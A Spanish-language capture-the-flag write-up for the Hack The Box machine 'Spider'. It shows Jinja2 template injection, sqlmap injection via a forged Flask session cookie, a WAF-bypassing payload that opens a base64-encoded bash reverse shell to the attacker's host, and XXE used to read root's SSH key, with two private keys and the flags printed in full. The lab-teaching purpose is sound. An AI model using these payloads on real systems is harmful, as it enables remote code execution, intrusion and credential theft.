Spider
9 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.10.243
- Fecha: 29 / 05 / 2021
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.10.243 -p 22,80
Nmap scan report for 10.10.10.243
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.15 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si entramos en http://10.10.10.243, el servidor redirige la petición a http://spider.htb. Esto significa que el servidor utiliza virtual hosting, por lo que necesitamos incluir el dominio spider.htb en el archivo /etc/hosts. Y ahora, podemos acceder a la página:
Utilizando gobuster podemos encontrar algunas rutas del servidor:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -u http://spider.htb
/index (Status: 200) [Size: 11273]
/login (Status: 200) [Size: 1832]
/register (Status: 200) [Size: 2130]
/main (Status: 302) [Size: 219] [--> http://spider.htb/login]
/user (Status: 302) [Size: 219] [--> http://spider.htb/login]
/view (Status: 302) [Size: 219] [--> http://spider.htb/login]
/cart (Status: 500) [Size: 290]
/logout (Status: 302) [Size: 209] [--> http://spider.htb/]
/checkout (Status: 500) [Size: 290]
Después de inspeccionar la página, podemos ver que está utilizando Flask (un framework para desarrollo back-end con Python), ya que el estado de la respuesta HTTP está en mayúsculas (por ejemplo: OK, FOUND, NOT FOUND, INTERNAL SERVER ERROR…), lo cual es común en Flask:
$ curl -I spider.htb/asdf
HTTP/1.1 404 NOT FOUND
Server: nginx/1.14.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 232
Connection: keep-alive
Buscando un SSTI
Flask utiliza un motor de plantillas llamado Jinja2, que puede ser vulnerable a Server-Side Template Injection (SSTI) si el servidor está mal configurado.
Existe una cuenta de Twitter que aparece en la página web de un investigador de Ciberseguridad que escribió un artículo sobre SSTI en Flask con Jinja2. Esto se trata de una pista. De hecho, hay más easter eggs relacionados con este artículo.
Después de probar en varios campos de formularios, se descubre que la vulnerabilidad de SSTI está en el campo de usuario al registrar una nueva cuenta. Después de registrarse, al acceder a los datos del perfil, el contenido inyectado se muestra ejecutado. Esto se ilustra en las siguientes imágenes:
Acceso a la máquina
A continuación, podemos escribir un script en Python llamado ssti.py para automatizar el proceso de crear una cuenta con SSTI y acceder al perfil para ver el resultado (explicación detallada aquí).
Por ejemplo, como prueba de concepto:
$ python3 ssti.py '{{7*7}}'
49
Obtención de la clave secreta de Flask
Es necesario tener en cuenta que el campo de usuario solo admite hasta 10 caracteres, por lo que no hay muchos payloads que sean útiles. Sin embargo, podemos obtener el contenido de la variable config de Flask:
$ python3 ssti.py '{{config}}'
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>
De aquí conseguimos la clave secreta que se utiliza para firmar las cookies de sesión. Entonces, está claro que necesitamos realizar alguna acción con las cookies.
Encontrando una inyección de código SQL
Después de investigar sobre las sesiones de Flask y las cookies que genera, encontramos una manera de inyectar código SQL en el contenido de la cookie utilizando sqlmap y el módulo flask_unsign de Python (puede instalarse con pip). Más información en HackTricks.
$ sqlmap --url http://spider.htb/ --eval "import flask_unsign; session = flask_unsign.session.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredi
ctableK3yPleas3Leav3mdanfe12332942')" --cookie='session=*' --random-agent --dump
...
+----+--------------------------------------+------------+-----------------+
| id | uuid | name | password |
+----+--------------------------------------+------------+-----------------+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
+----+--------------------------------------+------------+-----------------+
...
Para que funcione el comando de sqlmap es importante decir “No” cuando pregunte por lo siguiente:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]do you want to URL encode cookie values (implementation specific)? [Y/n]
Explotando un SSTI rebuscado
Ahora que tenemos la contraseña del usuario chiv (esta es otra referencia al artículo de SSTI) podemos acceder al panel de administración en http://spider.htb/admin:
Como usuario chiv, se tiene acceso a un panel de tickets en http://spider.htb/view?check=support y podemos añadir nuevos tickets desde http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal. Esta URL se encuentra en un mensaje:
Podemos tratar de inyectar SSTI otra vez, pero esta vez hay un WAF que bloquea algunos caracteres. Entre los caracteres bloqueados, tenemos: {{, }}, _, ., ', if, for, filter y block.
Existen varios bypasses en el artículo de SSTI, pero ninguno es totalmente adecuado.
Estamos forzados a utilizar el formato {% code %} para añadir un bloque de código válido en una plantilla. Pero con este formato, necesitamos añadir otra expresión. Estos bloques son usados principalmente con sentencias if y for de Python. Pero ambas palabras clave están bloqueadas.
En el artículo podemos ver el siguiente payload, que es útil porque coincide en parte con la situación que tenemos:
If the waf blocks “.” and “”_:
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
Existe otro payload para bypassear el filtro de {{ y }}:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() == 'chiv\n' %} a {% endif %}
Finalmente, existe una palabra clave de Python llamada with (que no está bloqueada) que se usa principalmente para abrir archivos (de forma que el archivo se cierra automáticamente al salir del bloque de código). Sin embargo, se puede utilizar también para abrir procesos. La idea entonces es ejecutar el siguiente código de Python (pero en formato Jinja2):
with os.popen("<reverse shell command>").read() as a:
pass
Podemos construir el comando para ejecutar una reverse shell y codificarlo en Base64 para evitar caracteres especiales que puedan ser bloqueados:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
El payload definitivo para explotar el SSTI es el siguiente:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash")["read"]() %} a {% endwith %}
Y obtenemos acceso a la máquina como usuario chiv mediante nc:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.243.
Ncat: Connection from 10.10.10.243:55526.
bash: cannot set terminal process group (1670): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
chiv@spider:/var/www/webapp$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
chiv@spider:/var/www/webapp$ export TERM=xterm
chiv@spider:/var/www/webapp$ export SHELL=bash
chiv@spider:/var/www/webapp$ stty rows 50 columns 158
chiv@spider:/var/www/webapp$ cd
chiv@spider:~$ cat user.txt
1682e37de0725754ecdfb8c816c4f80b
En este punto, ya tenemos la flag user.txt.
Podemos obtener una consola más estable por SSH porque tenemos permisos de lectura sobre el archivo id_rsa de chiv:
chiv@spider:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
Enumeración del sistema
Como usuario chiv, podemos realizar un sencillo escaneo de puertos internos y ver que el puerto 8080 está abierto:
$ ssh -i id_rsa chiv@10.10.10.243
chiv@spider:~$ for port in {1..65535}; do timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$port && echo "Port $port OPEN"; done
Port 22 OPEN
Port 80 OPEN
Port 3306 OPEN
Port 8080 OPEN
Port 54150 OPEN
chiv@spider:~$ netstat -nat | grep LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
Podemos realizar un reenvío de puertos mediante SSH para hacer accesible el puerto 8080 desde el puerto 8888 de nuestra máquina de atacante (no se ha elegido el 8080 porque Burp Suite escucha en este puerto).
chiv@spider:~$
chiv@spider:~$ ~C
ssh> -L 8888:127.0.0.1:8080
Forwarding port.
chiv@spider:~$
Escalada de privilegios
Si se entra ahora a http://localhost:8888, aparecerá una página de inicio de sesión:
Esta es otra aplicación realizada con Flask (lo sabemos por la misma razón que antes). Esta vez, la cookie de sesión generada contiene la siguiente información:
$ flask-unsign --decode --cookie '.eJxtjjFvgzAYRP9K5bmDSZMFqQsyhprGyB-2Cd6gjgTBdlHKQIjy3xuGbh1P757u7sgt3qH4jl46FCOVcmrTRYqRaajnoH1Un-vjrcvN0Cq6l9mUWBURcYKjJvCp0r6w_mNV1UyePFSKJyWdcrgkZuNbNtgRUVsmcLo3tC-7jM-87gcdqau80MK68WaJFmIdl2Zlzz02Q4D2P7_RfWmcO6kAvV7FVSp4s5420hujI4Yb_YULzKe_viSsajPIYfsX7K7Z4YP1kHKC39HjFU3fQ5h_UIwfv0J0Vqg.YQRD8w.gRIxNZ4auzfGHswxcJjPUpOabEM'
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+N1JvY2t5PC91c2VybmFtZT4KICAgICAgICA8aXNfYWRtaW4+MDwvaXNfYWRtaW4+CiAgICA8L2RhdGE+Cjwvcm9vdD4=', 'points': 0}
$ echo PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+N1JvY2t5PC91c2VybmFtZT4KICAgICAgICA8aXNfYWRtaW4+MDwvaXNfYWRtaW4+CiAgICA8L2RhdGE+Cjwvcm9vdD4= | base64 -d
<!-- API Version 1.0.0 -->
<root>
<data>
<username>7Rocky</username>
<is_admin>0</is_admin>
</data>
</root>
Encontrando un XXE
Vemos que contiene un documento XML codificado en Base64 y que incluye el nombre de usuario con el que hemos iniciado la sesión. Esto indica que el vector de ataque es probablemente algún tipo de inyección de Entidad Externa XML (XXE).
Parece que solamente tenemos control sobre el nombre de usuario. Esto es un problema si queremos realizar un ataque XXE, ya que las entidades XML no pueden estar entre etiquetas de datos, deben estar definidas en el primer nivel. Existen algunos payloads que utilizan inyección XPATH, pero no funcionan esta vez.
Utilizando Burp Suite, podemos ver cómo se realiza la petición al iniciar sesión:
Como se muestra en la captura, además de username hay un parámetro version que por defecto vale 1.0.0. Podemos utilizar curl para realizar una petición cambiando el número de versión y ver qué ocurre:
$ curl http://localhost:8888/login -svd 'username=7Rocky&version=1.33.7'
* Trying 127.0.0.1:8888...
* Connected to localhost (127.0.0.1) port 8888 (#0)
> POST /login HTTP/1.1
> Host: localhost:8888
> User-Agent: curl/7.86.0
> Accept: */*
> Content-Length: 30
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Content-Type: text/html; charset=utf-8
< Content-Length: 217
< Location: http://localhost:8888/site
< Vary: Cookie
< Set-Cookie: session=.eJxtzstqhDAAheFXKVl3YYIDHaGLhvE6GInmgtmNRKoY03QiVB3m3eumu67P-eF7ALPOBkQP8NKBCPCYJDpeGZ0KUcvFihnKXpZbl6nxxpOQpY700_rdIl3y_eNOkQt7mW8Vw1Shs204wQrijM_DVAf82A1WgblQqQsaJJbHg-yNaxsrlNgTz1M3cZRvzBZGZBqpZKi6lCxEDqOA__Xa9-Zzq-dlFGiFR4-r-Ofwubac1L012muBbYf-_uXpBk17eA7fW8gu5KrnfOeNfwfPV-C-Rrt4EAXPX_HQWOc.Y4Jdkg.Pr2X0PYwRREXGVg7YBoRsUONhvM; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host localhost left intact
<p>You should be redirected automatically to target URL: <a href="/site">/site</a>. If not click the link.
$ flask-unsign --decode --cookie '.eJxtzstqhDAAheFXKVl3YYIDHaGLhvE6GInmgtmNRKoY03QiVB3m3eumu67P-eF7ALPOBkQP8NKBCPCYJDpeGZ0KUcvFihnKXpZbl6nxxpOQpY700_rdIl3y_eNOkQt7mW8Vw1Shs204wQrijM_DVAf82A1WgblQqQsaJJbHg-yNaxsrlNgTz1M3cZRvzBZGZBqpZKi6lCxEDqOA__Xa9-Zzq-dlFGiFR4-r-Ofwubac1L012muBbYf-_uXpBk17eA7fW8gu5KrnfOeNfwfPV-C-Rrt4EAXPX_HQWOc.Y4Jdkg.Pr2X0PYwRREXGVg7YBoRsUONhvM'
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjMzLjcgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPjdSb2NreTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}
$ echo PCEtLSBBUEkgVmVyc2lvbiAxLjMzLjcgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPjdSb2NreTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+ | base64 -d
<!-- API Version 1.33.7 -->
<root>
<data>
<username>7Rocky</username>
<is_admin>0</is_admin>
</data>
</root>
Como se puede observar, tenemos control sobre el parámetro version. Esta vez sí que sirve para realizar un ataque XXE, porque podemos escapar del contexto del comentario (<!-- ... -->) e inyectar una entidad externa XML en el primer nivel.
Podemos mirar en PayloadsAllTheThings y encontrar algún payload que nos sea útil.
Para explotar la vulnerabilidad de XXE, podemos crear un script en Bash llamado xxe.sh para automatizar el proceso y extraer la información que nos interesa (explicación detallada aquí). La idea es cargar archivos del servidor para leerlos.
Después de algunas pruebas, descubrimos que tenemos privilegios de root. Entonces, podemos leer la clave privada de SSH de root:
$ bash xxe.sh /root/.ssh/id_rsa | tee root_id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgdeO5WZ47tZDYZ+7tXD8Q5tfqmyxq
gsgQskHffuzjq8v/q4aBfm6lQSn47G8foq0gQ1DvuZkWFAATvTjliXuE7gLcItPt
iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJclgIXLuwUvk
4d3/Vo/MdEUb02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMlJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GlmoPDqoDWRbWU+wdbES35vqxH0uM5WUh
vPt5ZDGiKID4Tft57udHxPiSD6YBhLT5ooHfFQIDAQABAoIBAFxB9Acg6Vc0kO/N
krhfyUUo4j7ZBHDfJbI7aFinZPBwRtq75VHOeexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ05O9QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbN
rKwBlmMiQnAyzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuXOFnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCfMfeUsUOByLcg3yEypClO/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBTACsUCgYEAyU9azupb71YnGQVLpdTOzoTD6ReZlbDGeqz4BD5xzbkDj7MOT5Dy
R335NRBf7EJC0ODXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRNrIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE21OvDLmJFu4Xs7ZdGG8o5v8JmF6TLTwi0Vi45g38DJagEl
w42zV3vV7bsAhQsMvd3igLEoDFt34jO9nQv9KBcCgYEAk8eLVAY7AxFtljKK++ui
/Xv9DWnjtz2UFo5Pa14j0O+Wq7C4OrSfBth1Tvz8TcW+ovPLSD0YKODLgOWaKcQZ
mVaF3j64OsgyzHOXe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
AsAj8jItOb6HZHN0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnuwktNYGdvlY8oHJ+mYLhJjGYUTXUIqdhMm+vj7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9KOX5Ja6ClDRswwMP31jnW0j
64yyLwKBgBkRFxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lyeOmWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVWKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GlVMUdxeo+j
-----END RSA PRIVATE KEY-----
Y finalmente acceder como root y conseguir la flag root.txt:
$ chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@10.10.10.243
root@spider:~# cat root.txt
a50aa50be1beeb8c3d54bc200e40adbe